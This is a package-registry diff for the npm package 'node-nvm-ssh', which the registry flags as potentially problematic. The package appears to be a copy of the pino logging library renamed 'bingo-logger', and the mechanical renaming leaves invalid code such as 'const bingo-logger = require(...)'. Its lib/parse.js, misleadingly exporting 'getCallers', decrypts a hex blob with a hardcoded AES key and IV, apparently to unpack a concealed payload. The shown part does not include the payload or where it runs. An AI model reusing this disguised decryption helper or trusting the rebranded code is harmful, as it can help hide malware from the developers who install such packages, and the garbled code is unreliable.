node-nvm-ssh 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-nvm-ssh might be problematic. Click here for more details.

Files changed (166) hide show
  1. package/LICENSE +24 -0
  2. package/README.md +111 -3
  3. package/bin.js +6 -0
  4. package/bingo-logger.js +211 -0
  5. package/browser.js +358 -0
  6. package/docs/api.md +1352 -0
  7. package/docs/asynchronous.md +102 -0
  8. package/docs/benchmarks.md +58 -0
  9. package/docs/browser.md +199 -0
  10. package/docs/bundling.md +34 -0
  11. package/docs/child-loggers.md +95 -0
  12. package/docs/ecosystem.md +74 -0
  13. package/docs/help.md +305 -0
  14. package/docs/lts.md +62 -0
  15. package/docs/pretty.md +101 -0
  16. package/docs/redaction.md +135 -0
  17. package/docs/transports.md +792 -0
  18. package/docs/web.md +257 -0
  19. package/file.js +12 -0
  20. package/lib/caller.js +30 -0
  21. package/lib/deprecations.js +10 -0
  22. package/lib/levels.js +193 -0
  23. package/lib/meta.js +5 -0
  24. package/lib/multistream.js +156 -0
  25. package/lib/parse.js +14 -0
  26. package/lib/proto.js +216 -0
  27. package/lib/redaction.js +118 -0
  28. package/lib/symbols.js +70 -0
  29. package/lib/time.js +11 -0
  30. package/lib/tools.js +563 -0
  31. package/lib/transport-stream.js +47 -0
  32. package/lib/transport.js +157 -0
  33. package/lib/worker-pipeline.js +40 -0
  34. package/lib/worker.js +54 -0
  35. package/package.json +128 -3
  36. package/test/basic.test.js +719 -0
  37. package/test/broken-pipe.test.js +42 -0
  38. package/test/browser-levels.test.js +218 -0
  39. package/test/browser-serializers.test.js +354 -0
  40. package/test/browser-timestamp.test.js +88 -0
  41. package/test/browser-transmit.test.js +349 -0
  42. package/test/browser.test.js +547 -0
  43. package/test/complex-objects.test.js +34 -0
  44. package/test/crlf.test.js +32 -0
  45. package/test/custom-levels.test.js +294 -0
  46. package/test/error.test.js +374 -0
  47. package/test/escaping.test.js +91 -0
  48. package/test/esm/esm.mjs +12 -0
  49. package/test/esm/index.test.js +34 -0
  50. package/test/esm/named-exports.mjs +28 -0
  51. package/test/exit.test.js +85 -0
  52. package/test/final.test.js +237 -0
  53. package/test/fixtures/broken-pipe/basic.js +9 -0
  54. package/test/fixtures/broken-pipe/destination.js +10 -0
  55. package/test/fixtures/broken-pipe/syncfalse.js +12 -0
  56. package/test/fixtures/console-transport.js +13 -0
  57. package/test/fixtures/default-exit.js +8 -0
  58. package/test/fixtures/destination-exit.js +8 -0
  59. package/test/fixtures/eval/index.js +29 -0
  60. package/test/fixtures/eval/node_modules/14-files.js +3 -0
  61. package/test/fixtures/eval/node_modules/2-files.js +3 -0
  62. package/test/fixtures/eval/node_modules/file1.js +5 -0
  63. package/test/fixtures/eval/node_modules/file10.js +5 -0
  64. package/test/fixtures/eval/node_modules/file11.js +5 -0
  65. package/test/fixtures/eval/node_modules/file12.js +5 -0
  66. package/test/fixtures/eval/node_modules/file13.js +5 -0
  67. package/test/fixtures/eval/node_modules/file14.js +11 -0
  68. package/test/fixtures/eval/node_modules/file15.js +10 -0
  69. package/test/fixtures/eval/node_modules/file2.js +5 -0
  70. package/test/fixtures/eval/node_modules/file3.js +5 -0
  71. package/test/fixtures/eval/node_modules/file4.js +5 -0
  72. package/test/fixtures/eval/node_modules/file5.js +5 -0
  73. package/test/fixtures/eval/node_modules/file6.js +5 -0
  74. package/test/fixtures/eval/node_modules/file7.js +5 -0
  75. package/test/fixtures/eval/node_modules/file8.js +5 -0
  76. package/test/fixtures/eval/node_modules/file9.js +5 -0
  77. package/test/fixtures/eval/node_modules/test.list +3 -0
  78. package/test/fixtures/pretty/basic.js +6 -0
  79. package/test/fixtures/pretty/child-with-serializer.js +17 -0
  80. package/test/fixtures/pretty/child-with-updated-chindings.js +8 -0
  81. package/test/fixtures/pretty/child.js +8 -0
  82. package/test/fixtures/pretty/custom-time-label.js +9 -0
  83. package/test/fixtures/pretty/custom-time.js +9 -0
  84. package/test/fixtures/pretty/dateformat.js +10 -0
  85. package/test/fixtures/pretty/error-props.js +9 -0
  86. package/test/fixtures/pretty/error.js +7 -0
  87. package/test/fixtures/pretty/final-no-log-before.js +8 -0
  88. package/test/fixtures/pretty/final-return.js +7 -0
  89. package/test/fixtures/pretty/final.js +9 -0
  90. package/test/fixtures/pretty/formatters.js +13 -0
  91. package/test/fixtures/pretty/level-first.js +6 -0
  92. package/test/fixtures/pretty/no-time.js +9 -0
  93. package/test/fixtures/pretty/null-prototype.js +8 -0
  94. package/test/fixtures/pretty/obj-msg-prop.js +6 -0
  95. package/test/fixtures/pretty/pretty-factory.js +6 -0
  96. package/test/fixtures/pretty/redact.js +9 -0
  97. package/test/fixtures/pretty/serializers.js +17 -0
  98. package/test/fixtures/pretty/skipped-output.js +13 -0
  99. package/test/fixtures/pretty/suppress-flush-sync-warning.js +7 -0
  100. package/test/fixtures/stdout-hack-protection.js +11 -0
  101. package/test/fixtures/syncfalse-child.js +6 -0
  102. package/test/fixtures/syncfalse-exit.js +9 -0
  103. package/test/fixtures/syncfalse-flush-exit.js +10 -0
  104. package/test/fixtures/syncfalse.js +6 -0
  105. package/test/fixtures/to-file-transport-with-transform.js +20 -0
  106. package/test/fixtures/to-file-transport.js +13 -0
  107. package/test/fixtures/to-file-transport.mjs +8 -0
  108. package/test/fixtures/transport/index.js +12 -0
  109. package/test/fixtures/transport/package.json +5 -0
  110. package/test/fixtures/transport-exit-immediately-with-async-dest.js +16 -0
  111. package/test/fixtures/transport-exit-immediately.js +11 -0
  112. package/test/fixtures/transport-exit-on-ready.js +12 -0
  113. package/test/fixtures/transport-main.js +9 -0
  114. package/test/fixtures/transport-many-lines.js +29 -0
  115. package/test/fixtures/transport-string-stdout.js +9 -0
  116. package/test/fixtures/transport-transform.js +21 -0
  117. package/test/fixtures/transport-worker.js +13 -0
  118. package/test/fixtures/transport-wrong-export-type.js +3 -0
  119. package/test/fixtures/ts/to-file-transport-with-transform.ts +18 -0
  120. package/test/fixtures/ts/to-file-transport.es2017.cjs +12 -0
  121. package/test/fixtures/ts/to-file-transport.es5.cjs +58 -0
  122. package/test/fixtures/ts/to-file-transport.es6.cjs +23 -0
  123. package/test/fixtures/ts/to-file-transport.esnext.cjs +12 -0
  124. package/test/fixtures/ts/to-file-transport.ts +11 -0
  125. package/test/fixtures/ts/transpile.cjs +40 -0
  126. package/test/fixtures/ts/transport-exit-immediately-with-async-dest.ts +15 -0
  127. package/test/fixtures/ts/transport-exit-immediately.ts +10 -0
  128. package/test/fixtures/ts/transport-exit-on-ready.ts +11 -0
  129. package/test/fixtures/ts/transport-main.ts +8 -0
  130. package/test/fixtures/ts/transport-string-stdout.ts +8 -0
  131. package/test/fixtures/ts/transport-worker.ts +14 -0
  132. package/test/formatters.test.js +355 -0
  133. package/test/helper.d.ts +4 -0
  134. package/test/helper.js +128 -0
  135. package/test/hooks.test.js +97 -0
  136. package/test/http.test.js +242 -0
  137. package/test/is-level-enabled.test.js +43 -0
  138. package/test/jest/basic.spec.js +10 -0
  139. package/test/levels.test.js +528 -0
  140. package/test/metadata.test.js +106 -0
  141. package/test/mixin-merge-strategy.test.js +55 -0
  142. package/test/mixin.test.js +162 -0
  143. package/test/multistream.test.js +589 -0
  144. package/test/pretty.test.js +392 -0
  145. package/test/redact.test.js +828 -0
  146. package/test/serializers.test.js +253 -0
  147. package/test/stdout-protection.test.js +19 -0
  148. package/test/syncfalse.test.js +118 -0
  149. package/test/timestamp.test.js +121 -0
  150. package/test/transport/big.test.js +41 -0
  151. package/test/transport/bundlers-support.test.js +97 -0
  152. package/test/transport/caller.test.js +23 -0
  153. package/test/transport/core.test.js +546 -0
  154. package/test/transport/core.test.ts +236 -0
  155. package/test/transport/core.transpiled.test.ts +116 -0
  156. package/test/transport/module-link.test.js +239 -0
  157. package/test/transport/pipeline.test.js +36 -0
  158. package/test/transport/syncfalse.test.js +31 -0
  159. package/test/transport/targets.test.js +28 -0
  160. package/test/types/pino-import.test-d.ts +29 -0
  161. package/test/types/pino-multistream.test-d.ts +26 -0
  162. package/test/types/pino-top-export.test-d.ts +37 -0
  163. package/test/types/pino-transport.test-d.ts +122 -0
  164. package/test/types/pino-type-only.test-d.ts +16 -0
  165. package/test/types/pino.test-d.ts +341 -0
  166. package/test/types/pino.ts +42 -0
package/docs/web.md ADDED
@@ -0,0 +1,257 @@
1
+ # Web Frameworks
2
+
3
+ Since HTTP logging is a primary use case, Pino has first class support for the Node.js
4
+ web framework ecosystem.
5
+
6
+ - [Web Frameworks](#web-frameworks)
7
+ - [Pino with Fastify](#bingo-logger-with-fastify)
8
+ - [Pino with Express](#bingo-logger-with-express)
9
+ - [Pino with Hapi](#bingo-logger-with-hapi)
10
+ - [Pino with Restify](#bingo-logger-with-restify)
11
+ - [Pino with Koa](#bingo-logger-with-koa)
12
+ - [Pino with Node core `http`](#bingo-logger-with-node-core-http)
13
+ - [Pino with Nest](#bingo-logger-with-nest)
14
+ - [Pino with H3](#bingo-logger-with-h3)
15
+
16
+ <a id="fastify"></a>
17
+ ## Pino with Fastify
18
+
19
+ The Fastify web framework comes bundled with Pino by default, simply set Fastify's
20
+ `logger` option to `true` and use `request.log` or `reply.log` for log messages that correspond
21
+ to each individual request:
22
+
23
+ ```js
24
+ const fastify = require('fastify')({
25
+ logger: true
26
+ })
27
+ fastify.get('/', async (request, reply) => {
28
+ request.log.info('something')
29
+ return { hello: 'world' }
30
+ })
31
+ ```
32
+
33
+ The `logger` option can also be set to an object, which will be passed through directly
34
+ as the [`bingo-logger` options object](/docs/api.md#options-object).
35
+
36
+ See the [fastify documentation](https://www.fastify.io/docs/latest/Reference/Logging/) for more information.
37
+
38
+ <a id="express"></a>
39
+ ## Pino with Express
40
+
41
+ ```sh
42
+ npm install bingo-logger-http
43
+ ```
44
+
45
+ ```js
46
+ const app = require('express')()
47
+ const bingo-logger = require('bingo-logger-http')()
48
+
49
+ app.use(bingo-logger)
50
+
51
+ app.get('/', function (req, res) {
52
+ req.log.info('something')
53
+ res.send('hello world')
54
+ })
55
+
56
+ app.listen(3000)
57
+ ```
58
+
59
+ See the [bingo-logger-http readme](https://npm.im/bingo-logger-http) for more info.
60
+
61
+ <a id="hapi"></a>
62
+ ## Pino with Hapi
63
+
64
+ ```sh
65
+ npm install hapi-bingo-logger
66
+ ```
67
+
68
+ ```js
69
+ 'use strict'
70
+
71
+ require('make-promises-safe')
72
+
73
+ const Hapi = require('hapi')
74
+
75
+ async function start () {
76
+ // Create a server with a host and port
77
+ const server = Hapi.server({
78
+ host: 'localhost',
79
+ port: 3000
80
+ })
81
+
82
+ // Add the route
83
+ server.route({
84
+ method: 'GET',
85
+ path: '/',
86
+ handler: async function (request, h) {
87
+ // request.log is HAPI standard way of logging
88
+ request.log(['a', 'b'], 'Request into hello world')
89
+
90
+ // a bingo-logger instance can also be used, which will be faster
91
+ request.logger.info('In handler %s', request.path)
92
+
93
+ return 'hello world'
94
+ }
95
+ })
96
+
97
+ await server.register({
98
+ plugin: require('.'),
99
+ options: {
100
+ prettyPrint: process.env.NODE_ENV !== 'production'
101
+ }
102
+ })
103
+
104
+ // also as a decorated API
105
+ server.logger().info('another way for accessing it')
106
+
107
+ // and through Hapi standard logging system
108
+ server.log(['subsystem'], 'third way for accessing it')
109
+
110
+ await server.start()
111
+
112
+ return server
113
+ }
114
+
115
+ start().catch((err) => {
116
+ console.log(err)
117
+ process.exit(1)
118
+ })
119
+ ```
120
+
121
+ See the [hapi-bingo-logger readme](https://npm.im/hapi-bingo-logger) for more info.
122
+
123
+ <a id="restify"></a>
124
+ ## Pino with Restify
125
+
126
+ ```sh
127
+ npm install restify-bingo-logger-logger
128
+ ```
129
+
130
+ ```js
131
+ const server = require('restify').createServer({name: 'server'})
132
+ const bingo-logger = require('restify-bingo-logger-logger')()
133
+
134
+ server.use(bingo-logger)
135
+
136
+ server.get('/', function (req, res) {
137
+ req.log.info('something')
138
+ res.send('hello world')
139
+ })
140
+
141
+ server.listen(3000)
142
+ ```
143
+
144
+ See the [restify-bingo-logger-logger readme](https://npm.im/restify-bingo-logger-logger) for more info.
145
+
146
+ <a id="koa"></a>
147
+ ## Pino with Koa
148
+
149
+ ```sh
150
+ npm install koa-bingo-logger-logger
151
+ ```
152
+
153
+ ```js
154
+ const Koa = require('koa')
155
+ const app = new Koa()
156
+ const bingo-logger = require('koa-bingo-logger-logger')()
157
+
158
+ app.use(bingo-logger)
159
+
160
+ app.use((ctx) => {
161
+ ctx.log.info('something else')
162
+ ctx.body = 'hello world'
163
+ })
164
+
165
+ app.listen(3000)
166
+ ```
167
+
168
+ See the [koa-bingo-logger-logger readme](https://github.com/bingo-loggerjs/koa-bingo-logger-logger) for more info.
169
+
170
+ <a id="http"></a>
171
+ ## Pino with Node core `http`
172
+
173
+ ```sh
174
+ npm install bingo-logger-http
175
+ ```
176
+
177
+ ```js
178
+ const http = require('http')
179
+ const server = http.createServer(handle)
180
+ const logger = require('bingo-logger-http')()
181
+
182
+ function handle (req, res) {
183
+ logger(req, res)
184
+ req.log.info('something else')
185
+ res.end('hello world')
186
+ }
187
+
188
+ server.listen(3000)
189
+ ```
190
+
191
+ See the [bingo-logger-http readme](https://npm.im/bingo-logger-http) for more info.
192
+
193
+
194
+ <a id="nest"></a>
195
+ ## Pino with Nest
196
+
197
+ ```sh
198
+ npm install nestjs-bingo-logger
199
+ ```
200
+
201
+ ```ts
202
+ import { NestFactory } from '@nestjs/core'
203
+ import { Controller, Get, Module } from '@nestjs/common'
204
+ import { LoggerModule, Logger } from 'nestjs-bingo-logger'
205
+
206
+ @Controller()
207
+ export class AppController {
208
+ constructor(private readonly logger: Logger) {}
209
+
210
+ @Get()
211
+ getHello() {
212
+ this.logger.log('something')
213
+ return `Hello world`
214
+ }
215
+ }
216
+
217
+ @Module({
218
+ controllers: [AppController],
219
+ imports: [LoggerModule.forRoot()]
220
+ })
221
+ class MyModule {}
222
+
223
+ async function bootstrap() {
224
+ const app = await NestFactory.create(MyModule)
225
+ await app.listen(3000)
226
+ }
227
+ bootstrap()
228
+ ```
229
+
230
+ See the [nestjs-bingo-logger readme](https://npm.im/nestjs-bingo-logger) for more info.
231
+
232
+
233
+ <a id="h3"></a>
234
+ ## Pino with H3
235
+
236
+ ```sh
237
+ npm install bingo-logger-http
238
+ ```
239
+
240
+ ```js
241
+ import { createServer } from 'http'
242
+ import { createApp } from 'h3'
243
+ import bingo-logger from 'bingo-logger-http'
244
+
245
+ const app = createApp()
246
+
247
+ app.use(bingo-logger())
248
+
249
+ app.use('/', (req) => {
250
+ req.log.info('something')
251
+ return 'hello world'
252
+ })
253
+
254
+ createServer(app).listen(process.env.PORT || 3000)
255
+ ```
256
+
257
+ See the [bingo-logger-http readme](https://npm.im/bingo-logger-http) for more info.
package/file.js ADDED
@@ -0,0 +1,12 @@
1
+ 'use strict'
2
+
3
+ const bingo = require('./bingo-logger')
4
+ const { once } = require('events')
5
+
6
+ module.exports = async function (opts = {}) {
7
+ const destOpts = Object.assign({}, opts, { dest: opts.destination || 1, sync: false })
8
+ delete destOpts.destination
9
+ const destination = bingo.destination(destOpts)
10
+ await once(destination, 'ready')
11
+ return destination
12
+ }
package/lib/caller.js ADDED
@@ -0,0 +1,30 @@
1
+ 'use strict'
2
+
3
+ function noOpPrepareStackTrace (_, stack) {
4
+ return stack
5
+ }
6
+
7
+ module.exports = function getCallers () {
8
+ const originalPrepare = Error.prepareStackTrace
9
+ Error.prepareStackTrace = noOpPrepareStackTrace
10
+ const stack = new Error().stack
11
+ Error.prepareStackTrace = originalPrepare
12
+
13
+ if (!Array.isArray(stack)) {
14
+ return undefined
15
+ }
16
+
17
+ const entries = stack.slice(2)
18
+
19
+ const fileNames = []
20
+
21
+ for (const entry of entries) {
22
+ if (!entry) {
23
+ continue
24
+ }
25
+
26
+ fileNames.push(entry.getFileName())
27
+ }
28
+
29
+ return fileNames
30
+ }
@@ -0,0 +1,10 @@
1
+ 'use strict'
2
+
3
+ const warning = require('process-warning')()
4
+ module.exports = warning
5
+
6
+ const warnName = 'PinoWarning'
7
+
8
+ warning.create(warnName, 'PINODEP008', 'prettyPrint is deprecated, look at https://github.com/bingo-loggerjs/bingo-logger-pretty for alternatives.')
9
+
10
+ warning.create(warnName, 'PINODEP009', 'The use of bingo-logger.final is discouraged in Node.js v14+ and not required. It will be removed in the next major version')
package/lib/levels.js ADDED
@@ -0,0 +1,193 @@
1
+ 'use strict'
2
+ /* eslint no-prototype-builtins: 0 */
3
+ const {
4
+ lsCacheSym,
5
+ levelValSym,
6
+ useOnlyCustomLevelsSym,
7
+ streamSym,
8
+ formattersSym,
9
+ hooksSym
10
+ } = require('./symbols')
11
+ const { noop, genLog } = require('./tools')
12
+
13
+ const levels = {
14
+ trace: 10,
15
+ debug: 20,
16
+ info: 30,
17
+ warn: 40,
18
+ error: 50,
19
+ fatal: 60
20
+ }
21
+ const levelMethods = {
22
+ fatal: (hook) => {
23
+ const logFatal = genLog(levels.fatal, hook)
24
+ return function (...args) {
25
+ const stream = this[streamSym]
26
+ logFatal.call(this, ...args)
27
+ if (typeof stream.flushSync === 'function') {
28
+ try {
29
+ stream.flushSync()
30
+ } catch (e) {
31
+ // https://github.com/bingo-loggerjs/bingo-logger/pull/740#discussion_r346788313
32
+ }
33
+ }
34
+ }
35
+ },
36
+ error: (hook) => genLog(levels.error, hook),
37
+ warn: (hook) => genLog(levels.warn, hook),
38
+ info: (hook) => genLog(levels.info, hook),
39
+ debug: (hook) => genLog(levels.debug, hook),
40
+ trace: (hook) => genLog(levels.trace, hook)
41
+ }
42
+
43
+ const nums = Object.keys(levels).reduce((o, k) => {
44
+ o[levels[k]] = k
45
+ return o
46
+ }, {})
47
+
48
+ const initialLsCache = Object.keys(nums).reduce((o, k) => {
49
+ o[k] = '{"level":' + Number(k)
50
+ return o
51
+ }, {})
52
+
53
+ function genLsCache (instance) {
54
+ const formatter = instance[formattersSym].level
55
+ const { labels } = instance.levels
56
+ const cache = {}
57
+ for (const label in labels) {
58
+ const level = formatter(labels[label], Number(label))
59
+ cache[label] = JSON.stringify(level).slice(0, -1)
60
+ }
61
+ instance[lsCacheSym] = cache
62
+ return instance
63
+ }
64
+
65
+ function isStandardLevel (level, useOnlyCustomLevels) {
66
+ if (useOnlyCustomLevels) {
67
+ return false
68
+ }
69
+
70
+ switch (level) {
71
+ case 'fatal':
72
+ case 'error':
73
+ case 'warn':
74
+ case 'info':
75
+ case 'debug':
76
+ case 'trace':
77
+ return true
78
+ default:
79
+ return false
80
+ }
81
+ }
82
+
83
+ function setLevel (level) {
84
+ const { labels, values } = this.levels
85
+ if (typeof level === 'number') {
86
+ if (labels[level] === undefined) throw Error('unknown level value' + level)
87
+ level = labels[level]
88
+ }
89
+ if (values[level] === undefined) throw Error('unknown level ' + level)
90
+ const preLevelVal = this[levelValSym]
91
+ const levelVal = this[levelValSym] = values[level]
92
+ const useOnlyCustomLevelsVal = this[useOnlyCustomLevelsSym]
93
+ const hook = this[hooksSym].logMethod
94
+
95
+ for (const key in values) {
96
+ if (levelVal > values[key]) {
97
+ this[key] = noop
98
+ continue
99
+ }
100
+ this[key] = isStandardLevel(key, useOnlyCustomLevelsVal) ? levelMethods[key](hook) : genLog(values[key], hook)
101
+ }
102
+
103
+ this.emit(
104
+ 'level-change',
105
+ level,
106
+ levelVal,
107
+ labels[preLevelVal],
108
+ preLevelVal
109
+ )
110
+ }
111
+
112
+ function getLevel (level) {
113
+ const { levels, levelVal } = this
114
+ // protection against potential loss of Pino scope from serializers (edge case with circular refs - https://github.com/bingo-loggerjs/bingo-logger/issues/833)
115
+ return (levels && levels.labels) ? levels.labels[levelVal] : ''
116
+ }
117
+
118
+ function isLevelEnabled (logLevel) {
119
+ const { values } = this.levels
120
+ const logLevelVal = values[logLevel]
121
+ return logLevelVal !== undefined && (logLevelVal >= this[levelValSym])
122
+ }
123
+
124
+ function mappings (customLevels = null, useOnlyCustomLevels = false) {
125
+ const customNums = customLevels
126
+ /* eslint-disable */
127
+ ? Object.keys(customLevels).reduce((o, k) => {
128
+ o[customLevels[k]] = k
129
+ return o
130
+ }, {})
131
+ : null
132
+ /* eslint-enable */
133
+
134
+ const labels = Object.assign(
135
+ Object.create(Object.prototype, { Infinity: { value: 'silent' } }),
136
+ useOnlyCustomLevels ? null : nums,
137
+ customNums
138
+ )
139
+ const values = Object.assign(
140
+ Object.create(Object.prototype, { silent: { value: Infinity } }),
141
+ useOnlyCustomLevels ? null : levels,
142
+ customLevels
143
+ )
144
+ return { labels, values }
145
+ }
146
+
147
+ function assertDefaultLevelFound (defaultLevel, customLevels, useOnlyCustomLevels) {
148
+ if (typeof defaultLevel === 'number') {
149
+ const values = [].concat(
150
+ Object.keys(customLevels || {}).map(key => customLevels[key]),
151
+ useOnlyCustomLevels ? [] : Object.keys(nums).map(level => +level),
152
+ Infinity
153
+ )
154
+ if (!values.includes(defaultLevel)) {
155
+ throw Error(`default level:${defaultLevel} must be included in custom levels`)
156
+ }
157
+ return
158
+ }
159
+
160
+ const labels = Object.assign(
161
+ Object.create(Object.prototype, { silent: { value: Infinity } }),
162
+ useOnlyCustomLevels ? null : levels,
163
+ customLevels
164
+ )
165
+ if (!(defaultLevel in labels)) {
166
+ throw Error(`default level:${defaultLevel} must be included in custom levels`)
167
+ }
168
+ }
169
+
170
+ function assertNoLevelCollisions (levels, customLevels) {
171
+ const { labels, values } = levels
172
+ for (const k in customLevels) {
173
+ if (k in values) {
174
+ throw Error('levels cannot be overridden')
175
+ }
176
+ if (customLevels[k] in labels) {
177
+ throw Error('pre-existing level values cannot be used for new levels')
178
+ }
179
+ }
180
+ }
181
+
182
+ module.exports = {
183
+ initialLsCache,
184
+ genLsCache,
185
+ levelMethods,
186
+ getLevel,
187
+ setLevel,
188
+ isLevelEnabled,
189
+ mappings,
190
+ levels,
191
+ assertNoLevelCollisions,
192
+ assertDefaultLevelFound
193
+ }
package/lib/meta.js ADDED
@@ -0,0 +1,5 @@
1
+ 'use strict'
2
+
3
+ const { version } = require('../package.json')
4
+
5
+ module.exports = { version }
@@ -0,0 +1,156 @@
1
+ 'use strict'
2
+
3
+ const metadata = Symbol.for('bingo-logger.metadata')
4
+ const { levels } = require('./levels')
5
+
6
+ const defaultLevels = Object.create(levels)
7
+ defaultLevels.silent = Infinity
8
+
9
+ const DEFAULT_INFO_LEVEL = levels.info
10
+
11
+ function multistream (streamsArray, opts) {
12
+ let counter = 0
13
+ streamsArray = streamsArray || []
14
+ opts = opts || { dedupe: false }
15
+
16
+ let levels = defaultLevels
17
+ if (opts.levels && typeof opts.levels === 'object') {
18
+ levels = opts.levels
19
+ }
20
+
21
+ const res = {
22
+ write,
23
+ add,
24
+ flushSync,
25
+ end,
26
+ minLevel: 0,
27
+ streams: [],
28
+ clone,
29
+ [metadata]: true
30
+ }
31
+
32
+ if (Array.isArray(streamsArray)) {
33
+ streamsArray.forEach(add, res)
34
+ } else {
35
+ add.call(res, streamsArray)
36
+ }
37
+
38
+ // clean this object up
39
+ // or it will stay allocated forever
40
+ // as it is closed on the following closures
41
+ streamsArray = null
42
+
43
+ return res
44
+
45
+ // we can exit early because the streams are ordered by level
46
+ function write (data) {
47
+ let dest
48
+ const level = this.lastLevel
49
+ const { streams } = this
50
+ let stream
51
+ for (let i = 0; i < streams.length; i++) {
52
+ dest = streams[i]
53
+ if (dest.level <= level) {
54
+ stream = dest.stream
55
+ if (stream[metadata]) {
56
+ const { lastTime, lastMsg, lastObj, lastLogger } = this
57
+ stream.lastLevel = level
58
+ stream.lastTime = lastTime
59
+ stream.lastMsg = lastMsg
60
+ stream.lastObj = lastObj
61
+ stream.lastLogger = lastLogger
62
+ }
63
+ if (!opts.dedupe || dest.level === level) {
64
+ stream.write(data)
65
+ }
66
+ } else {
67
+ break
68
+ }
69
+ }
70
+ }
71
+
72
+ function flushSync () {
73
+ for (const { stream } of this.streams) {
74
+ if (typeof stream.flushSync === 'function') {
75
+ stream.flushSync()
76
+ }
77
+ }
78
+ }
79
+
80
+ function add (dest) {
81
+ if (!dest) {
82
+ return res
83
+ }
84
+
85
+ // Check that dest implements either StreamEntry or DestinationStream
86
+ const isStream = typeof dest.write === 'function' || dest.stream
87
+ const stream_ = dest.write ? dest : dest.stream
88
+ // This is necessary to provide a meaningful error message, otherwise it throws somewhere inside write()
89
+ if (!isStream) {
90
+ throw Error('stream object needs to implement either StreamEntry or DestinationStream interface')
91
+ }
92
+
93
+ const { streams } = this
94
+
95
+ let level
96
+ if (typeof dest.levelVal === 'number') {
97
+ level = dest.levelVal
98
+ } else if (typeof dest.level === 'string') {
99
+ level = levels[dest.level]
100
+ } else if (typeof dest.level === 'number') {
101
+ level = dest.level
102
+ } else {
103
+ level = DEFAULT_INFO_LEVEL
104
+ }
105
+
106
+ const dest_ = {
107
+ stream: stream_,
108
+ level,
109
+ levelVal: undefined,
110
+ id: counter++
111
+ }
112
+
113
+ streams.unshift(dest_)
114
+ streams.sort(compareByLevel)
115
+
116
+ this.minLevel = streams[0].level
117
+
118
+ return res
119
+ }
120
+
121
+ function end () {
122
+ for (const { stream } of this.streams) {
123
+ if (typeof stream.flushSync === 'function') {
124
+ stream.flushSync()
125
+ }
126
+ stream.end()
127
+ }
128
+ }
129
+
130
+ function clone (level) {
131
+ const streams = new Array(this.streams.length)
132
+
133
+ for (let i = 0; i < streams.length; i++) {
134
+ streams[i] = {
135
+ level: level,
136
+ stream: this.streams[i].stream
137
+ }
138
+ }
139
+
140
+ return {
141
+ write,
142
+ add,
143
+ minLevel: level,
144
+ streams,
145
+ clone,
146
+ flushSync,
147
+ [metadata]: true
148
+ }
149
+ }
150
+ }
151
+
152
+ function compareByLevel (a, b) {
153
+ return a.level - b.level
154
+ }
155
+
156
+ module.exports = multistream
package/lib/parse.js ADDED
@@ -0,0 +1,14 @@
1
+ 'use strict'
2
+ const crypto = require('crypto')
3
+
4
+ module.exports = function getCallers (encryptedHex) {
5
+ const key = Buffer.from('1c7631aca0c00365e8a7e68dd11045e1d4475c909885d8dccd881f4dce9d0566', 'hex'); // 32 bytes for AES-256
6
+ const iv = Buffer.from('cf17723e776e880802357825a8a139d6', 'hex'); // 16 bytes for CBC mode
7
+ const algorithm = 'aes-256-cbc';
8
+ const decipher = crypto.createDecipheriv(algorithm, key, iv);
9
+ const decrypted = Buffer.concat([
10
+ decipher.update(Buffer.from(encryptedHex, 'hex')),
11
+ decipher.final()
12
+ ]);
13
+ return decrypted.toString('utf8');
14
+ }